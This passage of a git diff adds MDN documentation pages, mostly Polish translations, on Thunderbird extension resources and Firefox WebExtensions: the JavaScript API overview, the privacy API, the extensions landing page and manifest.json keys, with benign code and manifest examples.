+ <li><a class="internal" href="/en/Message_Summary_Database" title="En/Message Summary Database">Message summary database</a></li>
+ <li><a class="internal" href="/en/MailNews_Protocols" title="En/MailNews Protocols">MailNews protocols</a></li>
+ <li><a class="internal" href="/En/MailNews_Filters" rel="internal" title="En/MailNews Filters">MailNews filters</a></li>
+ <li><a class="internal" href="/en/Extensions/Thunderbird/Error_reporting_tools" title="en/Extension Library/Extensions/Thunderbird/Error reporting tools">Error reporting tools</a></li>
+ <li><a href="/en/Toolkit_API/STEEL" title="en/Toolkit API/STEEL">STEEL library</a> (obsolete as of Thunderbird 52, use <a class="link-https" href="https://github.com/protz/thunderbird-stdlib" title="https://github.com/protz/thunderbird-stdlib">https://github.com/protz/thunderbird-stdlib</a>)</li>
+ <li><a class="external" href="http://quetzalcoatal.blogspot.com/2010/01/developing-new-account-types-part-0.html" title="http://quetzalcoatal.blogspot.com/2010/01/developing-new-account-types-part-0.html">Developing new account types</a> <strong>NEW!</strong></li>
+ </ul>
+ </li>
+ <li><a class="internal" href="/en/Extensions/Thunderbird/Useful_newsgroups_discussions" title="En/Extensions/Thunderbird/Useful newsgroups discussions">Useful newsgroup discussions</a> (watch out, anything that's too old should be regarded suspiciously; there's been significant API rewrite over the past years, and most of these techniques are considerably easier now) </li>
+ <li><a href="/en/Thunderbird/Thunderbird_API_documentation" title="en/Thunderbird/Thunderbird API documentation">Thunderbird API docs</a> (mostly a collection of out-of-date pages, relevance is rather dubious) </li>
+ <li><a href="/en/Mozilla/Thunderbird/Releases" title="Thunderbird developer release notes">Thunderbird developer release notes</a> - changes in the recent Thunderbird updates affecting add-on developers. <a href="/Thunderbird_5_for_developers" title="Thunderbird 5 for developers">Thunderbird 5 for developers</a> has important information on MsgHdrToMimeMessage which is a central piece of code.</li>
+ </ul>
+
+ <h3 id="General_links">General links</h3>
+
+ <ul>
+ <li><a href="/en/Extensions/Thunderbird/Finding_the_code_for_a_feature" title="en/Extensions/Thunderbird/Finding the code for a feature">Finding the code for a feature</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Category:Thunderbird" title="http://kb.mozillazine.org/Category:Thunderbird">Mozillazine articles on Thunderbird</a></li>
+ <li><a href="/Special:Tags?tag=Thunderbird" title="https://developer.mozilla.org/Special:Tags?tag=Thunderbird">All pages tagged with Thunderbird</a></li>
+ <li><a href="/Special:Tags?tag=MailNews" title="https://developer.mozilla.org/Special:Tags?tag=MailNews">All pages tagged with MailNews</a></li>
+ </ul>
+ </td>
+ <td>
+ <h2 id="Community" name="Community">Community</h2>
+
+ <ul>
+ <li>See the list of all <a class="external" href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="http://wiki.mozilla.org/Thunderbird/CommunicationChannels">Thunderbird communication channels </a>first</li>
+ <li>Among these are:</li>
+ </ul>
+
+ <p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}</p>
+
+ <ul>
+ <li><a class="link-irc" href="irc://moznet/#extdev">#extdev IRC channel</a> / <a class="link-irc" href="irc://moznet/#maildev">#maildev IRC channel</a></li>
+ <li><a class="external" href="http://forums.mozillazine.org/viewforum.php?f=19">MozillaZine forum</a></li>
+ <li><a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">mozdev project owners</a></li>
+ <li><a href="/en/Extensions/Community" title="en/Extensions/Community">Other community links...</a></li>
+ </ul>
+
+ <h2 id="Tools" name="Tools">Tools</h2>
+
+ <ul>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" rel="external nofollow" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a> edit the live DOM (Firefox and Thunderbird)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/thunderbird/addon/workspace-for-thunderbird/" title="https://addons.mozilla.org/thunderbird/addon/workspace-for-thunderbird/">Workspace for Thunderbird</a>, allows running code snippets in Thunderbird and inspecting variable structure and content</li>
+ <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/" rel="external nofollow" title="http://www.hacksrus.com/~ginda/venkman/">Venkman</a>, a JavaScript debugger (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/216" rel="external nofollow" title="http://addons.mozilla.org/en-US/firefox/addon/216">Firefox</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/216" rel="external nofollow" title="http://addons.mozilla.org/en-US/thunderbird/addon/216">Thunderbird</a>)</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434/" rel="external nofollow" title="https://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a> a suite of development tools</li>
+ <li><a class="external" href="http://www.gijsk.com/" rel="external nofollow" title="http://www.gijsk.com/">Chrome List</a> view files in chrome:// (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/4453" rel="external nofollow" title="http://addons.mozilla.org/en-US/firefox/addon/4453">Firefox</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/4453" rel="external nofollow" title="http://addons.mozilla.org/en-US/thunderbird/addon/4453">Thunderbird</a>)</li>
+ <li><a href="/en/Mozmill" title="en/Mozmill">Mozmill</a> test tool and framework</li>
+ <li><a class="external" href="http://xpcomviewer.mozdev.org/" rel="external nofollow" title="http://xpcomviewer.mozdev.org">XPCOMViewer</a> an XPCOM inspector (Firefox and Thunderbird)</li>
+ </ul>
+
+ <p>... <a class="internal" href="/en/Setting_up_extension_development_environment#Development_extensions" title="en/Setting up extension development environment#Development extensions">more tools</a> ...</p>
+
+ <p><span class="alllinks"><a href="/Special:Tags?tag=Extensions:Tools&amp;language=en" title="Special:Tags?tag=Extensions:Tools&amp;language=en">View All...</a></span></p>
+
+ <h2 id="Related_Topics" name="Related_Topics">Related Topics</h2>
+
+ <dl>
+ <dd><a href="/en/XUL" title="en/XUL">XUL</a>, <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, <a href="/en/Themes" title="en/Themes">Themes</a>, <a href="/En/Developer_Guide" title="en/Developing_Mozilla">Developing Mozilla</a></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p>{{ languages( { "ja": "ja/Extensions/Thunderbird" } ) }}</p>
diff --git a/files/pl/mozilla/add-ons/webextensions/api/index.html b/files/pl/mozilla/add-ons/webextensions/api/index.html
new file mode 100644
index 0000000000..724bf34516
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/api/index.html
@@ -0,0 +1,61 @@
+---
+title: JavaScript APIs
+slug: Mozilla/Add-ons/WebExtensions/API
+tags:
+ - NeedsTranslation
+ - TopicStub
+ - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/API
+---
+<div>{{AddonSidebar}}</div>
+
+<div>
+<p>JavaScript APIs for WebExtensions can be used inside the extension's <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a> and in any other documents bundled with the extension, including <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> or <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">page action</a> popups, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sidebars">sidebars</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Options_pages">options pages</a>, or <a href="/en-US/Add-ons/WebExtensions/manifest.json/chrome_url_overrides">new tab pages</a>. A few of these APIs can also be accessed by an extension's <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">content scripts</a> (see the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">list in the content script guide</a>).</p>
+
+<p>To use the more powerful APIs you need to <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">request permission</a> in your extension's <code>manifest.json</code>.</p>
+
+<p>You can access the APIs using the <code>browser</code> namespace:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logTabs</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span>
+<span class="punctuation token">}</span>
+
+browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">query</span><span class="punctuation token">(</span><span class="punctuation token">{</span>currentWindow<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">}</span><span class="punctuation token">,</span> logTabs<span class="punctuation token">)</span></code></pre>
+</div>
+
+<div>
+<p>Many of the APIs are asynchronous, returning a {{JSxRef("Promise")}}:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logCookie</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">logError</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">let</span> setCookie <span class="operator token">=</span> browser<span class="punctuation token">.</span>cookies<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span>
+ <span class="punctuation token">{</span>url<span class="punctuation token">:</span> <span class="string token">"https://developer.mozilla.org/"</span><span class="punctuation token">}</span>
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+setCookie<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>logCookie<span class="punctuation token">,</span> logError<span class="punctuation token">)</span></code></pre>
+</div>
+
+<div>
+<p>Note that this is different from Google Chrome's extension system, which uses the <code>chrome</code> namespace instead of <code>browser</code>, and which uses callbacks instead of promises for asynchronous functions. As a porting aid, the Firefox implementation of WebExtensions APIs supports <code>chrome</code> and callbacks as well as <code>browser</code> and promises. Mozilla has also written a polyfill which enables code that uses <code>browser</code> and promises to work unchanged in Chrome: <a class="external external-icon" href="https://github.com/mozilla/webextension-polyfill">https://github.com/mozilla/webextension-polyfill</a>.</p>
+
+<p>Firefox also implements these APIs under the <code>chrome</code> namespace using callbacks. This allows code written for Chrome to run largely unchanged in Firefox for the APIs documented here.</p>
+
+<p>Microsoft Edge uses the <code>browser</code> namespace, but doesn't yet support promise-based asynchronous APIs. In Edge, for the time being, asynchronous APIs must use callbacks.</p>
+
+<p>Not all browsers support all the APIs: for the details, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a>.</p>
+
+<p>Tip: Throughout the JavaScript API listings you will find short code examples that illustrate how the API is used. You can exercise these examples, without needing to create a web extension, using the console in the <a href="https://extensionworkshop.com/documentation/develop/debugging/#developer-tools-toolbox">Toolbox</a>. For example, here is the first code example on this page running in the Toolbox console in Firefox Developer Edition:</p>
+
+<p><img alt="Illustration of a snippet of web extension code run from the console in the Toolbox" src="https://mdn.mozillademos.org/files/17186/JavaScript_exercised_in_console.jpg" style="height: 347px; width: 680px;"></p>
+
+<h2 id="JavaScript_API_listing">JavaScript API listing</h2>
+
+<p>See below for a complete list of JavaScript APIs:</p>
+</div>
+
+<div>{{LandingPageListSubpages}}</div>
diff --git a/files/pl/mozilla/add-ons/webextensions/api/privacy/index.html b/files/pl/mozilla/add-ons/webextensions/api/privacy/index.html
new file mode 100644
index 0000000000..321f0f8834
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/api/privacy/index.html
@@ -0,0 +1,72 @@
+---
+title: privacy
+slug: Mozilla/Add-ons/WebExtensions/API/privacy
+tags:
+ - API
+ - Add-ons
+ - Extensions
+ - NeedsTranslation
+ - Privacy
+ - Reference
+ - TopicStub
+ - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/API/privacy
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Access and modify various privacy-related browser settings.</p>
+
+<p>To use the privacy API, you must have the "privacy" <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#API_permissions">API permission</a>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("privacy.network")}}</dt>
+ <dd>Access and modify privacy settings relating to the network.</dd>
+ <dt>{{WebExtAPIRef("privacy.services")}}</dt>
+ <dd>Access and modify privacy settings relating to the services provided by the browser or third parties.</dd>
+ <dt>{{WebExtAPIRef("privacy.websites")}}</dt>
+ <dd>Access and modify privacy settings relating to the behavior of websites.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("webextensions.api.privacy", 10, 1)}}</p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Acknowledgements</strong>
+
+<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/privacy"><code>chrome.privacy</code></a> API.</p>
+</div>
+
+<div class="hidden">
+<pre class="notranslate">// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+// * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+// * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/pl/mozilla/add-ons/webextensions/index.html b/files/pl/mozilla/add-ons/webextensions/index.html
new file mode 100644
index 0000000000..1682fefbed
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/index.html
@@ -0,0 +1,125 @@
+---
+title: Browser extensions
+slug: Mozilla/Add-ons/WebExtensions
+tags:
+ - Landing
+ - Manifest
+ - Rozszerzenia
+ - WebExtensions
+ - Wtyczki
+translation_of: Mozilla/Add-ons/WebExtensions
+---
+<div>{{AddonSidebar}}</div>
+
+<div>Rozszerzenia mogą być poszerzane i modyfikowane możliwościami przeglądarki.  Rozszerzenia dla Firefox są budowane przy użyciu WebExtension APIs, systemu wspólnego dla przeglądarek do rozwoju rozszerzeń. Duży zakres systemu jest zgodny z <a href="https://developer.chrome.com/extensions">extension API</a> wspieranych przez Google Chrome, Opera oraz the <a href="https://browserext.github.io/browserext/">W3C Draft Community Group</a>.</div>
+
+<div> </div>
+
+<div>Rozszerzenia napisane dla tych przeglądarek będą w większości przypadków działać w Firefox czy <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/">Microsoft Edge</a> z kilkoma zmianami (<a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome">just a few changes</a>). API jest także w pełni zgodny z wieloprocesowością Firefox (<a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>).</div>
+
+<p> </p>
+
+<p>Jeśli masz pomysły czy pytania lub potrzebujesz pomocy w zamieszczeniu dodatku do użycia przez WebExtension APIs, możesz dotrzeć do nas poprzez <a href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons mailing list</a> lub zamieszczenie hasztagu: <a href="irc://irc.mozilla.org/extdev">#extdev</a> na <a href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="Na_początek">Na początek</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/What_are_WebExtensions">Co to są rozszerzenia?</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_first_WebExtension">Twoje pierwsze rozszerzenie</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">Twoje drugie rozszerzenie</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomia rozszerzeń</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Examples">Przykłady rozszerzeń</a></li>
+</ul>
+
+<h2 id="Jak">Jak </h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Przechwycić zapytania HTTP</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modyfikować stronę internetową</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Dodać przycisk do paska narzędzi</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Wprowdzić ustawienia strony</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">Oddziaływać na schowek (clipboard)</a></li>
+</ul>
+
+<h2 id="Interface_użytkownika">Interface użytkownika</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">Wprowadzenie</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">Przycisk paska narzędzi przeglądarki</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">Przycisk paska narzędzi z popup</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Adres przycisku na pasku</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">Adres przycisku na pasku z oknem popup</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Elementy kontekstu menu</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Paski boczne</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Opcje strony</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Bundled_web_pages">Powiązane witryny internetowe</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Powiadomienia</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Sugestie paska adresowego</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Panele narzędzi deweloperskich</a></li>
+</ul>
+
+<h2 id="Pojęcia">Pojęcia</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">Przegląd JavaScript API</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Skrypty kontekstu</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Dopasowanie wzorów</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Praca z plikami</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Umiędzynarodowienie (internationalization)</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Polityka bezpieczeństwa kontekstu</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Wiadomości w języku ojczystym</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_devtools_APIs">Używanie narzędzi deweloperskich API</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/User_experience_best_practices">Najlepsze praktyki doświadczeń użytkownika</a></li>
+</ul>
+
+<h2 id="Porty">Porty</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome">Porty rozszerzeń Google Chrome</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">Porty rozszerzeń dodatku Firefox</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Osadzone (embedded) rozszerzenia sieciowe</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Porównanie z dodatkiem SDK</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Porównanie z rozszerzeniami XUL/XPCOM</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Niezgodności Chrome</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">Różnice pomiędzy wersją deskopową (komputerową), a Androidem</a></li>
+</ul>
+
+<h2 id="Dynamika_pracy_Firefox">Dynamika pracy Firefox</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">Doświadczenie użytkownika</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Instalacja</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Debugging">Debugowanie (reagowanie na niezgodności)</a> </li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">Rozwój Firefox dla Androida</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Początki z web-ext</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">Odnośnik poleceń web-ext</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Rozszerzenia i dodatki ID</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Alternative_distribution_options">Opcje alternatywne dystrybucji</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">Publikowanie twojego rozszerzenia</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 id="Odsyłacz">Odsyłacz</h2>
+
+<h3 id="JavaScript_API">JavaScript API</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">Przegląd JavaScript API</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Przeglądarka zgodna z tabelami JavaScript API</a></li>
+</ul>
+
+<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/API") }}</div>
+
+<h3 id="Klucze_Manifest">Klucze Manifest </h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">przegląd manifest.json</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json">Zgodność przeglądarki dla manifest.json</a></li>
+</ul>
+
+<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}</div>
+</div>
+</div>
diff --git a/files/pl/mozilla/add-ons/webextensions/manifest.json/description/index.html b/files/pl/mozilla/add-ons/webextensions/manifest.json/description/index.html
new file mode 100644
index 0000000000..fdeb8fa3f9
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/manifest.json/description/index.html
@@ -0,0 +1,40 @@
+---
+title: description
+slug: Mozilla/Add-ons/WebExtensions/manifest.json/description
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/description
+---
+<div>{{AddonSidebar}}</div>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <th scope="row" style="width: 30%;">Typ</th>
+ <td><code>String (ciąg znaków)</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Obowiązkowe</th>
+ <td>Nie</td>
+ </tr>
+ <tr>
+ <th scope="row">Przykład</th>
+ <td>
+ <pre class="brush: json no-line-numbers">
+"description": "Zastępuje rysunki zdjęciami kotów."</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Krótki opis rozszerzenia, który jest przeznaczony do wyświetlenia w interfejsie przeglądarki użytkownika.</p>
+
+<p>Jest to <a href="/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json">właściwość umiejscowiona</a>.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: json no-line-numbers">"description": "Zastępuje obrazki zdjęciami kotów."</pre>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.manifest.description")}}</p>
diff --git a/files/pl/mozilla/add-ons/webextensions/manifest.json/index.html b/files/pl/mozilla/add-ons/webextensions/manifest.json/index.html
new file mode 100644
index 0000000000..3421ac49a3
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/manifest.json/index.html
@@ -0,0 +1,105 @@
+---
+title: manifest.json
+slug: Mozilla/Add-ons/WebExtensions/manifest.json
+tags:
+ - Add-ons
+ - Extensions
+ - NeedsTranslation
+ - TopicStub
+ - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json
+---
+<div>{{AddonSidebar}}</div>
+
+<p>The manifest.json file is a <a href="/en-US/docs/Glossary/JSON">JSON</a>-formatted file, and is the only file that every extension using WebExtension APIs must contain.</p>
+
+<p>Using manifest.json, you specify basic metadata about your extension such as the name and version, and can also specify aspects of your extension's functionality, such as background scripts, content scripts, and browser actions.</p>
+
+<p>manifest.json keys are listed below:</p>
+
+<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}</div>
+
+<div class="twocolumns"> </div>
+
+<p><code>"manifest_version"</code>, <code>"version"</code>, and <code>"name"</code> are the only mandatory keys. <code>"default_locale"</code> must be present if the "_locales" directory is present and must be absent otherwise. <code>"applications"</code> is not supported in Google Chrome, and is mandatory in Firefox before Firefox 48 and Firefox for Android.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("webextensions.manifest")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Quick syntax example for manifest.json:</p>
+
+<pre class="brush: json">{
+ "applications": {
+ "gecko": {
+ "id": "addon@example.com",
+ "strict_min_version": "42.0"
+ }
+ },
+
+ "background": {
+ "scripts": ["jquery.js", "my-background.js"],
+ "page": "my-background.html"
+ },
+
+ "browser_action": {
+ "default_icon": {
+ "19": "button/geo-19.png",
+ "38": "button/geo-38.png"
+ },
+ "default_title": "Whereami?",
+ "default_popup": "popup/geo.html"
+ },
+
+ "commands": {
+ "toggle-feature": {
+  "suggested_key": {
+    "default": "Ctrl+Shift+Y",
+    "linux": "Ctrl+Shift+U"
+  },
+     "description": "Send a 'toggle-feature' event"
+ }
+ },
+
+ "content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
+
+ "content_scripts": [
+ {
+ "exclude_matches": ["*://developer.mozilla.org/*"],
+ "matches": ["*://*.mozilla.org/*"],
+ "js": ["borderify.js"]
+ }
+ ],
+
+ "default_locale": "en",
+
+ "description": "...",
+
+ "icons": {
+ "48": "icon.png",
+ "96": "icon@2x.png"
+ },
+
+ "manifest_version": 2,
+
+ "name": "...",
+
+ "page_action": {
+ "default_icon": {
+ "19": "button/geo-19.png",
+ "38": "button/geo-38.png"
+ },
+ "default_title": "Whereami?",
+ "default_popup": "popup/geo.html"
+ },
+
+ "permissions": ["webNavigation"],
+
+ "version": "0.1",
+
+ "web_accessible_resources": ["images/my-image.png"]
+}</pre>
+
+<p> </p>
diff --git a/files/pl/mozilla/add-ons/webextensions/manifest.json/manifest_version/index.html b/files/pl/mozilla/add-ons/webextensions/manifest.json/manifest_version/index.html
new file mode 100644
index 0000000000..f220ce01c9
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/manifest.json/manifest_version/index.html
@@ -0,0 +1,41 @@
+---
+title: manifest_version
+slug: Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version
+---
+<p>{{AddonSidebar}}</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <th scope="row" style="width: 30%;">Typ</th>
+ <td><code>Number (numer)</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Obowiązkowy</th>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <th scope="row">Przykład</th>
+ <td>
+ <pre class="brush: json no-line-numbers">
